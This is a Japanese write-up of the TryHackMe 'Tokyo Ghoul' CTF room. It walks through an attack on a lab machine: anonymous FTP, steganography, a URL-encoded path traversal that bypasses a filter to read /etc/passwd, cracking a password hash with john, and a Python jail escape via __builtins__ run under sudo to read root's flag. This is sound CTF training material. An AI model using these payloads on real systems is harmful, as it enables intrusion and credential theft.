TryHackMeの東京喰種 Room をやり終えたので、緩めwriteup置いておきます。ちなみに東京喰種は読んだこと無いけど問題を特にあたって特に支障はなかったです。
ネタバレを含むので、読んでいる最中の人、これから読む予定の人は読み終わってからがお勧めらしい。
ヒントが割と適切に設定されていたり、余計な情報が極力削ってあるので、自力で解きやすい印象を受けました。もしどうしてもハマっちゃったときに、薄目で参考にしていただければ。
Task2 Where am i ?
Nmapしてみなとのことなので、してみます。
$ nmap -sV 10.10.51.157 Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-09 01:21 EST Nmap scan report for 10.10.51.157 Host is up (0.022s latency). Not shown: 997 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 8.97 seconds
この中に全部答えがありました。
Task3 Planning to escape
Did you find the note that the others ghouls gave you? where did you find it ?
マシンのIPにブラウザで接続すると、こんな画面が。
下の方のリンク先のページに飛んで
ソースを確認するとコメントでメッセージが書いてあったので、このリンク先のページのファイル名を答えました。
What is the key for Rize executable?
先程のソースに書いてあったノートがこちら
look don't tell jason but we will help you escape , here is some clothes to look like us and a mask to look anonymous and go to the ftp room right there you will find a freind who will help you
ftpルームという単語が見えます。先程のnmap調査でftpポートが空いていたので、接続してみます。
$ ftp 10.10.51.157 Connected to 10.10.51.157. 220 (vsFTPd 3.0.3) Name (10.10.51.157:kali): 530 This FTP server is anonymous only. Login failed.
anonymous login というのが必要っぽい。USERを anonymous
にすればいいらしいので
$ ftp 10.10.51.157 Connected to 10.10.51.157. 220 (vsFTPd 3.0.3) Name (10.10.51.157:kali): anonymous 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp >
ログインできたっぽい!ftpコマンドあまり使わないので早速ハマります。
ftp> ls 500 Illegal PORT command. ftp: bind: Address already in use
ls
コマンドすら打てない、調べてみると、acriveモードになっているのが原因のようなので pass
コマンドで passive
モードに切り替えます。
ftp> pass Passive mode on. ftp> ls 227 Entering Passive Mode (10,10,51,157,167,108) 150 Here comes the directory listing. drwxr-xr-x 3 ftp ftp 4096 Jan 23 2021 need_Help? 226 Directory send OK.
おう、使えた。
このあたりを参考に、ftpのコマンドを使ってマシンの中をウロウロし、役に立ちそうなファイルをDLしていきます。以下、コマンド抜粋。
ftp> cd need_Help? ftp> dir -rw-r--r-- 1 ftp ftp 480 Jan 23 2021 Aogiri_tree.txt drwxr-xr-x 2 ftp ftp 4096 Jan 23 2021 Talk_with_me ftp> get Aogiri_tree.txt ftp> cd Talk_with_me ftp> ls -rwxr-xr-x 1 ftp ftp 17488 Jan 23 2021 need_to_talk -rw-r--r-- 1 ftp ftp 46674 Jan 23 2021 rize_and_kaneki.jpg ftp> mget rize_and_kaneki.jpg ftp> get need_to_talk
いくつかファイルを落としたなかに、問題文の executable
っぽいのが出てきました。実行してみます。
$ ./need_to_talk Hey Kaneki finnaly you want to talk Unfortunately before I can give you the kagune you need to give me the paraphrase Do you have what I'm looking for? >
この鍵がわかれば良さそう。radare2 で解析してみます。
$ r2 need_to_talk Warning: run r2 with -e io.cache=true to fix relocations in disassembly [0x000010f0]> aaaa [x] Analyze all flags starting with sym. and entry0 (aa) [x] Analyze function calls (aac) ...(omit)... [0x000010f0]> afl 0x000010f0 1 42 entry0 0x00001120 4 41 -> 34 sym.deregister_tm_clones 0x00001150 4 57 -> 51 sym.register_tm_clones 0x00001190 5 57 -> 50 sym.__do_global_dtors_aux 0x000010e0 1 6 sym.imp.__cxa_finalize 0x000011d0 1 5 entry.init0 0x00001000 3 23 sym._init 0x00001420 1 1 sym.__libc_csu_fini 0x0000122d 4 101 sym.print_intro 0x00001424 1 9 sym._fini 0x00001292 4 87 sym.slow_type 0x000013c0 4 93 sym.__libc_csu_init 0x000011d5 4 88 main 0x000012e9 4 125 sym.check_password 0x00001366 1 77 sym.print_flag ...(omit)...
check_passwordという関数があるので、中身を見てみます。
お、ここに書いてありました!このパスワードが答え。
Use a tool to get the other note from Rize .
Hint
Touka said one time something about steg... stog? and hidding things i can't remember
ゲットしたパスワードを入れて先程のファイルを実行してみます。
$ ./need_to_talk Hey Kaneki finnaly you want to talk Unfortunately before I can give you the kagune you need to give me the paraphrase Do you have what I'm looking for? > ******** Good job. I believe this is what you came for: *******
何やらもう一つパスフレーズを手に入れました。
※パスワードと答えは伏せ字にしました。
ヒントにステガノっぽい事が書いてあるので、stego-toolkitを上から試してみます。先程もう一つパスフレーズっぽいのを手に入れたので、password付きのものが怪しい。
$ steghide extract -sf rize_and_kaneki.jpg -p *********** -xf output.txt wrote extracted data to "output.txt".
steghideがヒットしました。このアウトプットが次のタスクのインプットになりそう。
Task4 What Rize is trying to say?
What the message mean did you understand it ? what it says?
先程 steghide で得られたアウトプットは、モールス信号っぽい。面倒なのでcyberchefに放り込みました。
$ cat output.txt haha you are so smart kaneki but can you talk my code ..... .- ....- ....- ....- -.... --... ----. ....- -.. ...(omit)... if you can talk it allright you got my secret directory
モールス信号 -> From Hex -> From Base64 で答えが出てきました。
Can you see the weakness in the dark ? no ? just search
Hint
what you can't do the moon walk?
うーん、次の問題は問題文もヒントも意味が全くわからない。
just search
とのことだったので、80ポート、Webサイトに戻って、さっきcyberchefで出てきた答えをpathに追加してみます。ディレクトリっぽい名前だったので。
すると、こんなページが出てきました。
scan me とのこと。
新しいpathが分かったので、最初やってあまりヒットしなかった gobster を使ってみます。
gobuster dir -u http://10.10.146.98/*********_center -w /usr/share/wordlists/dirb/common.txt =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://10.10.146.98/*********_center [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/dirb/common.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.1.0 [+] Timeout: 10s =============================================================== 2022/02/09 06:20:19 Starting gobuster in directory enumeration mode =============================================================== /.hta (Status: 403) [Size: 277] /.htaccess (Status: 403) [Size: 277] /.htpasswd (Status: 403) [Size: 277] /claim (Status: 301) [Size: 329] [--> http://10.10.146.98/*********_center/claim/] ...(omit)... /index.html (Status: 200) [Size: ...(omit)... =============================================================== 2022/02/09 06:20:48 Finished ===============================================================
お、一つ新しいのが出てきました!アクセスしてみます。
このサイトの yes/no
を押すと、
(omit)/index.php?view=flower.jpg
にリダイレクトされます。どうやらこのファイル名のものを表示してくれるっぽい。とりあえず脆弱性を見つけたので次の問題へ。
What did you find something ? crack it
次の問題文やヒントからHashが関連しそうなので、/etc/passwd
と /etc/shadow
が取得できないかやってみます。
(omit)/index.php?view=../etc/passwd
にアクセスすると、
no no silly don't do that
という表示が。怪しい。いけそう。
この表示が出たということは、攻撃を検知されたということなので bypass する方法を探してみます。
../
を %2e%2e%2f
で置き換えるやつが刺さりました👍
$ curl --path-as-is http://10.10.146.98/*********_center/claim/index.php?view=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd <html> <head> <link href="https://fonts.googleapis.com/css?family=IBM+Plex+Sans" rel="stylesheet"> <link rel="stylesheet" type="text/css" href="style.css"> </head> <body> <div class="menu"> <a href="index.php">Main Page</a> <a href="index.php?view=flower.gif">NO</a> <a href="index.php?view=flower.gif">YES</a> </div> <p>root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync ...(omit)... vagrant:x:1000:1000:vagrant,,,:/home/vagrant:/bin/bash vboxadd:x:999:1::/var/run/vboxadd:/bin/false ftp:x:112:118:ftp daemon,,,:/srv/ftp:/bin/false kami***ro:$6$Tb/euwmK$OXA.dwMeOAcopwBl68boTG5zi65wIHsc84OWAIye5VITLLtVlaXvRDJXET..it8r.jbrlpfZeMdwD3B0fGx***:1001:1001:,,,:/home/kami***ro:/bin/bash </p> </body> </html>
同様にして、 etc/shadow
も取得しようとしましたが出来ず。
よく見てみると、最後の方(user:kami***ro
)にhashっぽいのがくっついています。
what is rize username ?
が次の問題だったので、この名前を入れると答え。
what is rize password ?
このHashをクラックすれば良さそう。
このあたりを見ながら、クラックを試みます。
$ echo 'kami***ro:$6$Tb/euwmK$OXA.dwMeOAcopwBl68boTG5zi65wIHsc84OWAIye5VITLLtVlaXvRDJXET..it8r.jbrlpfZeMdwD3B0fGx***:1001:1001:,,,:/home/kami***ro:/bin/bash' > unshadow.txt $ john --wordlist=/usr/share/wordlists/rockyou.txt unshadow.txt Using default input encoding: UTF-8 Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x]) Cost 1 (iteration count) is 5000 for all loaded hashes Will run 2 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status *********** (kami***ro) 1g 0:00:00:00 DONE (2022-02-09 07:12) 1.136g/s 1745p/s 1745c/s 1745C/s cuties..mexico1 Use the "--show" option to display all of the cracked passwords reliably Session completed.
結構すぐにクラックできました!Hashのroomを直前にやっていたのもあって割とすぐ攻略出来た!嬉しい!
Task5 Fight Jason
user.txt
先程取得したuserとpasswordでマシンにsshし、きっとuser直下にあるuser.txt
を取得する流れ。早速やってみます。
※ ***
は伏せ字です。
$ ssh kami***ro@10.10.146.98 The authenticity of host '10.10.146.98 (10.10.146.98)' can't be established. ECDSA key fingerprint is SHA256:wC2+hZ3E/vA2oWXiu0iRsS4Pd4CZzKotH1IoO2QEU4Q. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.10.146.98' (ECDSA) to the list of known hosts. kami***ro@10.10.146.98's password: Welcome to Ubuntu 16.04.7 LTS (GNU/Linux 4.4.0-197-generic x86_64) ...(omit)... Last login: Sat Jan 23 22:29:38 2021 from 192.168.77.1 kami***ro@vagrant:~$ ls jail.py user.txt kami***ro@vagrant:~$ cat user.txt
げっと!
root.txt
今度は /root
にあると思われる root.txt
を取得する流れ。何か権限昇格の足がかりが必要です。
先程の user.txt
の隣りにあった jail.py
が気になります。
#! /usr/bin/python3 #-*- coding:utf-8 -*- def main(): print("Hi! Welcome to my world kaneki") print("========================================================================") print("What ? You gonna stand like a chicken ? fight me Kaneki") text = input('>>> ') for keyword in ['eval', 'exec', 'import', 'open', 'os', 'read', 'system', 'write']: if keyword in text: print("Do you think i will let you do this ??????") return; else: exec(text) print('No Kaneki you are so dead') if __name__ == "__main__": main()
keyword のリストに入っていないコマンドを使って、 /root/root.txt
を読み出せば良さそう。ちょっと実験してみます。
>>> 'print("test")'
test
No Kaneki you are so dead
コマンドはこんな感じで実行できそう。ちなみにこのスクリプトはrootじゃないと編集権限はないので、NGワードを書き換えるのは出来ません。
問題は open
や system
, import
など禁止されている用語を使わずに、どうやってファイルを読み込むか。
pythonコマンドに頼るより、osコマンドを実行するほうが抜け道がありそう。
os.system("cat /root/root.txt")
こんな感じにしたいのだけど…。
replace()
を使ったりして出来ないかいろいろ試したけど出来ず。ググってもなかなかドンピシャのものは出てこない。
あ、ヒントがあった。
jail ? python???? wait
jail
といえば、最近覚えたての単語。確か「刑務所」的な意味だったような。なんでこんな名前が付いてるんだろうと思って、python jail
とかでググってみるとこんなサイトが。
有名なスクリプトから派生してるのか。
この説明を読んでみると、__builtins__
というのが使えるっぽい。最後の方の例文をほぼそのまま使ってみます。
>>> __builtins__.__dict__['__IMPORT__'.lower()]('OS'.lower()).__dict__['SYSTEM'.lower()]('cat /root/root.txt') cat: /root/root.txt: Permission denied
Permission deniedだ!このスクリプトをroot権限で実行する必要がありそう。
いろいろ試してみた所、/usr/bin/python3
を sudo して実行することが出来ました。パスワードは先程sshで使ったものと同じでした。
$ sudo /usr/bin/python3 /home/kami***ro/jail.py [sudo] password for kami***ro: Hi! Welcome to my world kaneki ======================================================================== What ? You gonna stand like a chicken ? fight me Kaneki >>> __builtins__.__dict__["__IMPORT__".lower()]("OS".lower()).__dict__["SYSTEM".lower()]("cat /root/root.txt") ******************************* No Kaneki you are so dead
伏せ字にしましたが、これでflag取れました!やったね!
最後の問題はヒントを見ないと厳しかった気がしますが、THM始めてから得た知識や最近のHolidayHackで得た知識を総動員して、自力でなんとか解けて楽しかった!!!